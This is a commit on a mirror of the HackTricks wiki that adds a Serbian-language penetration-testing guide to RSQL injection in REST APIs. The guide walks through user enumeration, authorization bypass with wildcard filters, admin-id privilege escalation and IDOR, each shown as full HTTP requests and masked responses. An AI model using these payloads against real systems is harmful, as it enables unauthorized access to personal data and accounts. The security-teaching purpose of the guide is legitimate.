mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/rsql-injection.md'] to sr
This commit is contained in:
parent
f38b77eb37
commit
133a4b0826
576
src/pentesting-web/rsql-injection.md
Normal file
576
src/pentesting-web/rsql-injection.md
Normal file
@ -0,0 +1,576 @@
|
||||
# RSQL Injection
|
||||
|
||||
## RSQL Injection
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## RSQL Injection
|
||||
|
||||
## Šta je RSQL?
|
||||
RSQL je jezik upita dizajniran za parametarsko filtriranje ulaza u RESTful API-ima. Zasnovan na FIQL (Feed Item Query Language), koji je prvobitno definisao Mark Nottingham za upitivanje Atom feed-ova, RSQL se izdvaja svojom jednostavnošću i sposobnošću da izrazi složene upite na kompaktan i URI-kompatibilan način preko HTTP-a. Ovo ga čini odličnim izborom kao opšti jezik upita za pretraživanje REST krajnjih tačaka.
|
||||
|
||||
## Pregled
|
||||
RSQL Injection je ranjivost u web aplikacijama koje koriste RSQL kao jezik upita u RESTful API-ima. Slično [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) i [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection), ova ranjivost se javlja kada RSQL filteri nisu pravilno sanitizovani, omogućavajući napadaču da ubaci zlonamerne upite kako bi pristupio, izmenio ili obrisao podatke bez autorizacije.
|
||||
|
||||
## Kako to funkcioniše?
|
||||
RSQL vam omogućava da gradite napredne upite u RESTful API-ima, na primer:
|
||||
```bash
|
||||
/products?filter=price>100;category==electronics
|
||||
```
|
||||
Ovo se prevodi u strukturirani upit koji filtrira proizvode sa cenom većom od 100 i kategorijom "elektronika".
|
||||
|
||||
Ako aplikacija ne validira ispravno korisnički unos, napadač bi mogao da manipuliše filtrima kako bi izvršio neočekivane upite, kao što su:
|
||||
```bash
|
||||
/products?filter=id=in=(1,2,3);delete_all==true
|
||||
```
|
||||
Ili čak iskoristiti za ekstrakciju osetljivih informacija pomoću Boolean upita ili ugnježdenih podupita.
|
||||
|
||||
## Rizici
|
||||
- **Izlaganje osetljivih podataka:** Napadač može da dohvati informacije koje ne bi trebale biti dostupne.
|
||||
- **Modifikacija ili brisanje podataka:** Injekcija filtera koji menjaju zapise u bazi podataka.
|
||||
- **Povećanje privilegija:** Manipulacija identifikatorima koji dodeljuju uloge kroz filtere kako bi se prevarila aplikacija pristupom sa privilegijama drugih korisnika.
|
||||
- **Izbegavanje kontrola pristupa:** Manipulacija filterima za pristup ograničenim podacima.
|
||||
- **Impersonacija ili IDOR:** Modifikacija identifikatora između korisnika kroz filtere koji omogućavaju pristup informacijama i resursima drugih korisnika bez pravilne autentifikacije.
|
||||
|
||||
## Podržani RSQL operatori
|
||||
| Operator | Opis | Primer |
|
||||
|:----: |:----: |:------------------:|
|
||||
| `;` / `and` | Logički **AND** operator. Filtrira redove gde su *oba* uslova *tačna* | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` |
|
||||
| `,` / `or` | Logički **OR** operator. Filtrira redove gde je *barem jedan* uslov *tačan*| `/api/v2/myTable?q=columnA==valueA,columnB==valueB` |
|
||||
| `==` | Izvodi **jednako** upit. Vraća sve redove iz *myTable* gde su vrednosti u *columnA* tačno jednake *queryValue* | `/api/v2/myTable?q=columnA==queryValue` |
|
||||
| `=q=` | Izvodi **pretragu** upit. Vraća sve redove iz *myTable* gde vrednosti u *columnA* sadrže *queryValue* | `/api/v2/myTable?q=columnA=q=queryValue` |
|
||||
| `=like=` | Izvodi **like** upit. Vraća sve redove iz *myTable* gde su vrednosti u *columnA* slične *queryValue* | `/api/v2/myTable?q=columnA=like=queryValue` |
|
||||
| `=in=` | Izvodi **in** upit. Vraća sve redove iz *myTable* gde *columnA* sadrži *valueA* ILI *valueB* | `/api/v2/myTable?q=columnA=in=(valueA, valueB)` |
|
||||
| `=out=` | Izvodi **exclude** upit. Vraća sve redove iz *myTable* gde vrednosti u *columnA* nisu *valueA* niti *valueB* | `/api/v2/myTable?q=columnA=out=(valueA,valueB)` |
|
||||
| `!=` | Izvodi *nije jednako* upit. Vraća sve redove iz *myTable* gde vrednosti u *columnA* nisu jednake *queryValue* | `/api/v2/myTable?q=columnA!=queryValue` |
|
||||
| `=notlike=` | Izvodi **not like** upit. Vraća sve redove iz *myTable* gde vrednosti u *columnA* nisu slične *queryValue* | `/api/v2/myTable?q=columnA=notlike=queryValue` |
|
||||
| `<` & `=lt=` | Izvodi **manje od** upit. Vraća sve redove iz *myTable* gde su vrednosti u *columnA* manje od *queryValue* | `/api/v2/myTable?q=columnA<queryValue` <br> `/api/v2/myTable?q=columnA=lt=queryValue` |
|
||||
| `=le=` & `<=` | Izvodi **manje od** ili **jednako** upit. Vraća sve redove iz *myTable* gde su vrednosti u *columnA* manje ili jednake *queryValue* | `/api/v2/myTable?q=columnA<=queryValue` <br> `/api/v2/myTable?q=columnA=le=queryValue` |
|
||||
| `>` & `=gt=` | Izvodi **veće od** upit. Vraća sve redove iz *myTable* gde su vrednosti u *columnA* veće od *queryValue* | `/api/v2/myTable?q=columnA>queryValue` <br> `/api/v2/myTable?q=columnA=gt=queryValue` |
|
||||
| `>=` & `=ge=` | Izvodi **jednako** ili **veće od** upit. Vraća sve redove iz *myTable* gde su vrednosti u *columnA* jednake ili veće od *queryValue* | `/api/v2/myTable?q=columnA>=queryValue` <br> `/api/v2/myTable?q=columnA=ge=queryValue` |
|
||||
| `=rng=` | Izvodi **od do** upit. Vraća sve redove iz *myTable* gde su vrednosti u *columnA* jednake ili veće od *fromValue*, i manje ili jednake od *toValue* | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` |
|
||||
|
||||
**Napomena**: Tabela zasnovana na informacijama iz [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) i [**rsql-parser**](https://github.com/jirutka/rsql-parser) aplikacija.
|
||||
|
||||
#### Primeri
|
||||
- name=="Kill Bill";year=gt=2003
|
||||
- name=="Kill Bill" and year>2003
|
||||
- genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
|
||||
- genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
|
||||
- director.lastName==Nolan;year=ge=2000;year=lt=2010
|
||||
- director.lastName==Nolan and year>=2000 and year<2010
|
||||
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
|
||||
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
|
||||
|
||||
**Napomena**: Tabela zasnovana na informacijama iz [**rsql-parser**](https://github.com/jirutka/rsql-parser) aplikacije.
|
||||
|
||||
## Uobičajeni filteri
|
||||
Ovi filteri pomažu u preciziranju upita u API-ima:
|
||||
|
||||
| Filter | Opis | Primer |
|
||||
|--------|------------|---------|
|
||||
| `filter[users]` | Filtrira rezultate po specifičnim korisnicima | `/api/v2/myTable?filter[users]=123` |
|
||||
| `filter[status]` | Filtrira po statusu (aktivan/neaktivan, završen, itd.) | `/api/v2/orders?filter[status]=active` |
|
||||
| `filter[date]` | Filtrira rezultate unutar vremenskog okvira | `/api/v2/logs?filter[date]=gte:2024-01-01` |
|
||||
| `filter[category]` | Filtrira po kategoriji ili tipu resursa | `/api/v2/products?filter[category]=electronics` |
|
||||
| `filter[id]` | Filtrira po jedinstvenom identifikatoru | `/api/v2/posts?filter[id]=42` |
|
||||
|
||||
## Uobičajeni parametri
|
||||
Ovi parametri pomažu u optimizaciji API odgovora:
|
||||
|
||||
| Parametar | Opis | Primer |
|
||||
|-----------|------------|---------|
|
||||
| `include` | Uključuje povezane resurse u odgovoru | `/api/v2/orders?include=customer,items` |
|
||||
| `sort` | Sortira rezultate u rastućem ili opadajućem redosledu | `/api/v2/users?sort=-created_at` |
|
||||
| `page[size]` | Kontroliše broj rezultata po stranici | `/api/v2/products?page[size]=10` |
|
||||
| `page[number]` | Specifikuje broj stranice | `/api/v2/products?page[number]=2` |
|
||||
| `fields[resource]` | Definiše koje polja da vrati u odgovoru | `/api/v2/users?fields[users]=id,name,email` |
|
||||
| `search` | Izvodi fleksibilniju pretragu | `/api/v2/posts?search=technology` |
|
||||
|
||||
## Izdavanje informacija i enumeracija korisnika
|
||||
Sledeći zahtev prikazuje endpoint za registraciju koji zahteva parametar email kako bi proverio da li postoji neki korisnik registrovan sa tim email-om i vratio true ili false u zavisnosti od toga da li postoji u bazi podataka:
|
||||
### Zahtev
|
||||
```
|
||||
GET /api/registrations HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### Odgovor
|
||||
```
|
||||
HTTP/1.1 400
|
||||
Date: Sat, 22 Mar 2025 14:47:14 GMT
|
||||
Content-Type: application/vnd.api+json
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
Content-Length: 85
|
||||
|
||||
{
|
||||
"errors": [{
|
||||
"code": "BLANK",
|
||||
"detail": "Missing required param: email",
|
||||
"status": "400"
|
||||
}]
|
||||
}
|
||||
```
|
||||
Iako se očekuje `/api/registrations?email=<emailAccount>`, moguće je koristiti RSQL filtre da se pokuša enumerisati i/ili izvući informacije o korisnicima korišćenjem specijalnih operatora:
|
||||
### Request
|
||||
```
|
||||
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Origin: https://locahost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://locahost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### Odgovor
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 14:09:38 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 38
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"data": {
|
||||
"attributes": {
|
||||
"tenants": []
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
U slučaju podudaranja sa važećim email nalogom, aplikacija bi vratila informacije o korisniku umesto klasičnog *“true”*, *"1"* ili bilo čega drugog u odgovoru serveru:
|
||||
### Request
|
||||
```
|
||||
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### Odgovor
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 14:19:46 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 293
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"data": {
|
||||
"id": "********************",
|
||||
"type": "UserAccountDTO",
|
||||
"attributes": {
|
||||
"id": "********************",
|
||||
"type": "UserAccountDTO",
|
||||
"email": "manuel**********@domain.local",
|
||||
"sub": "*********************",
|
||||
"status": "ACTIVE",
|
||||
"tenants": [{
|
||||
"id": "1"
|
||||
}]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
## Izbegavanje autorizacije
|
||||
U ovom scenariju, počinjemo od korisnika sa osnovnom ulogom i u kojem nemamo privilegovane dozvole (npr. administrator) da pristupimo listi svih korisnika registrovanih u bazi podataka:
|
||||
### Zahtev
|
||||
```
|
||||
GET /api/users HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Authorization: Bearer eyJhb.................
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### Odgovor
|
||||
```
|
||||
HTTP/1.1 403
|
||||
Date: Sat, 22 Mar 2025 14:40:07 GMT
|
||||
Content-Length: 0
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
```
|
||||
Ponovo koristimo filtre i specijalne operatore koji će nam omogućiti alternativni način da dobijemo informacije o korisnicima i izbegnemo kontrolu pristupa. Na primer, filtriramo *korisnike* koji sadrže slovo “*a*” u svom korisničkom *ID*-u:
|
||||
### Request
|
||||
```
|
||||
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Authorization: Bearer eyJhb.................
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### Odgovor
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 14:43:28 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 1434192
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"data": [{
|
||||
"id": "********A***********",
|
||||
"type": "UserGetResponseCustomDTO",
|
||||
"attributes": {
|
||||
"status": "ACTIVE",
|
||||
"countryId": 63,
|
||||
"timeZoneId": 3,
|
||||
"translationKey": "************",
|
||||
"email": "**********@domain.local",
|
||||
"firstName": "rafael",
|
||||
"surname": "************",
|
||||
"telephoneCountryCode": "**",
|
||||
"mobilePhone": "*********",
|
||||
"taxIdentifier": "********",
|
||||
"languageId": 1,
|
||||
"createdAt": "2024-08-09T10:57:41.237Z",
|
||||
"termsOfUseAccepted": true,
|
||||
"id": "******************",
|
||||
"type": "UserGetResponseCustomDTO"
|
||||
}
|
||||
}, {
|
||||
"id": "*A*******A*****A*******A******",
|
||||
"type": "UserGetResponseCustomDTO",
|
||||
"attributes": {
|
||||
"status": "ACTIVE",
|
||||
"countryId": 63,
|
||||
"timeZoneId": 3,
|
||||
"translationKey": ""************",
|
||||
"email": "juan*******@domain.local",
|
||||
"firstName": "juan",
|
||||
"surname": ""************",",
|
||||
"telephoneCountryCode": "**",
|
||||
"mobilePhone": "************",
|
||||
"taxIdentifier": "************",
|
||||
"languageId": 1,
|
||||
"createdAt": "2024-07-18T06:07:37.68Z",
|
||||
"termsOfUseAccepted": true,
|
||||
"id": "*******************",
|
||||
"type": "UserGetResponseCustomDTO"
|
||||
}
|
||||
}, {
|
||||
................
|
||||
```
|
||||
## Eskalacija privilegija
|
||||
Veoma je verovatno da ćemo pronaći određene krajnje tačke koje proveravaju privilegije korisnika kroz njihovu ulogu. Na primer, imamo korisnika koji nema privilegije:
|
||||
### Zahtev
|
||||
```
|
||||
GET /api/companyUsers?include=role HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Authorization: Bearer eyJhb......
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### Odgovor
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 19:13:08 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 11
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"data": []
|
||||
}
|
||||
```
|
||||
Korišćenjem određenih operatora mogli bismo enumerisati administratorske korisnike:
|
||||
### Request
|
||||
```
|
||||
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Authorization: Bearer eyJh.....
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### Odgovor
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 19:13:45 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 361
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"data": [{
|
||||
"type": "CompanyUserGetResponseDTO",
|
||||
"attributes": {
|
||||
"companyId": "FA**************",
|
||||
"companyTaxIdentifier": "B999*******",
|
||||
"bizName": "company sl",
|
||||
"email": "jose*******@domain.local",
|
||||
"userRole": {
|
||||
"userRoleId": 1,
|
||||
"userRoleKey": "general.roles.admin"
|
||||
},
|
||||
"companyCountryTranslationKey": "*******",
|
||||
"type": "CompanyUserGetResponseDTO"
|
||||
}
|
||||
}]
|
||||
}
|
||||
```
|
||||
Nakon što se sazna identifikator administratorskog korisnika, bilo bi moguće iskoristiti eskalaciju privilegija zamenom ili dodavanjem odgovarajućeg filtera sa identifikatorom administratora i dobijanjem istih privilegija:
|
||||
### Request
|
||||
```
|
||||
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Authorization: Bearer eyJ.....
|
||||
Origin: https:/localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https:/localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### Odgovor
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 18:53:00 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 68833
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"meta": {
|
||||
"Functionalities": [{
|
||||
"functionalityId": 1,
|
||||
"permissionId": 1,
|
||||
"effectivePriority": "PERMIT",
|
||||
"effectiveBehavior": "PERMIT",
|
||||
"translationKey": "general.userProfile",
|
||||
"type": "FunctionalityPermissionDTO"
|
||||
}, {
|
||||
"functionalityId": 2,
|
||||
"permissionId": 2,
|
||||
"effectivePriority": "PERMIT",
|
||||
"effectiveBehavior": "PERMIT",
|
||||
"translationKey": "general.my_profile",
|
||||
"type": "FunctionalityPermissionDTO"
|
||||
}, {
|
||||
"functionalityId": 3,
|
||||
"permissionId": 3,
|
||||
"effectivePriority": "PERMIT",
|
||||
"effectiveBehavior": "PERMIT",
|
||||
"translationKey": "layout.change_user_data",
|
||||
"type": "FunctionalityPermissionDTO"
|
||||
}, {
|
||||
"functionalityId": 4,
|
||||
"permissionId": 4,
|
||||
"effectivePriority": "PERMIT",
|
||||
"effectiveBehavior": "PERMIT",
|
||||
"translationKey": "general.configuration",
|
||||
"type": "FunctionalityPermissionDTO"
|
||||
}, {
|
||||
.......
|
||||
```
|
||||
## Impersonacija ili Nepouzdane Direktne Reference na Objekte (IDOR)
|
||||
Pored korišćenja `filter` parametra, moguće je koristiti i druge parametre kao što je `include` koji omogućava uključivanje određenih parametara u rezultat (npr. jezik, država, lozinka...).
|
||||
|
||||
U sledećem primeru, prikazane su informacije o našem korisničkom profilu:
|
||||
### Zahtev
|
||||
```
|
||||
GET /api/users?include=language,country HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Authorization: Bearer eyJ......
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### Odgovor
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 19:47:27 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 540
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"data": [{
|
||||
"id": "D5********************",
|
||||
"type": "UserGetResponseCustomDTO",
|
||||
"attributes": {
|
||||
"status": "ACTIVE",
|
||||
"countryId": 63,
|
||||
"timeZoneId": 3,
|
||||
"translationKey": "**********",
|
||||
"email": "domingo....@domain.local",
|
||||
"firstName": "Domingo",
|
||||
"surname": "**********",
|
||||
"telephoneCountryCode": "**",
|
||||
"mobilePhone": "******",
|
||||
"languageId": 1,
|
||||
"createdAt": "2024-03-11T07:24:57.627Z",
|
||||
"termsOfUseAccepted": true,
|
||||
"howMeetUs": "**************",
|
||||
"id": "D5********************",
|
||||
"type": "UserGetResponseCustomDTO"
|
||||
}
|
||||
}]
|
||||
}
|
||||
```
|
||||
Kombinacija filtera može se koristiti za izbegavanje kontrole autorizacije i sticanje pristupa profilima drugih korisnika:
|
||||
### Request
|
||||
```
|
||||
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
|
||||
Host: localhost:3000
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||
Accept: application/vnd.api+json
|
||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Content-Type: application/vnd.api+json
|
||||
Authorization: Bearer eyJ....
|
||||
Origin: https://localhost:3000
|
||||
Connection: keep-alive
|
||||
Referer: https://localhost:3000/
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-site
|
||||
```
|
||||
### Odgovor
|
||||
```
|
||||
HTTP/1.1 200
|
||||
Date: Sat, 22 Mar 2025 19:50:07 GMT
|
||||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||
Content-Length: 520
|
||||
Connection: keep-alive
|
||||
Vary: Origin
|
||||
Vary: Access-Control-Request-Method
|
||||
Vary: Access-Control-Request-Headers
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{
|
||||
"data": [{
|
||||
"id": "94******************",
|
||||
"type": "UserGetResponseCustomDTO",
|
||||
"attributes": {
|
||||
"status": "ACTIVE",
|
||||
"countryId": 63,
|
||||
"timeZoneId": 2,
|
||||
"translationKey": "**************",
|
||||
"email": "jose******@domain.local",
|
||||
"firstName": "jose",
|
||||
"surname": "***************",
|
||||
"telephoneCountryCode": "**",
|
||||
"mobilePhone": "********",
|
||||
"taxIdentifier": "*********",
|
||||
"languageId": 1,
|
||||
"createdAt": "2024-11-21T08:29:05.833Z",
|
||||
"termsOfUseAccepted": true,
|
||||
"id": "94******************",
|
||||
"type": "UserGetResponseCustomDTO"
|
||||
}
|
||||
}]
|
||||
}
|
||||
```
|
||||
## Reference
|
||||
- [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection)
|
||||
- [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user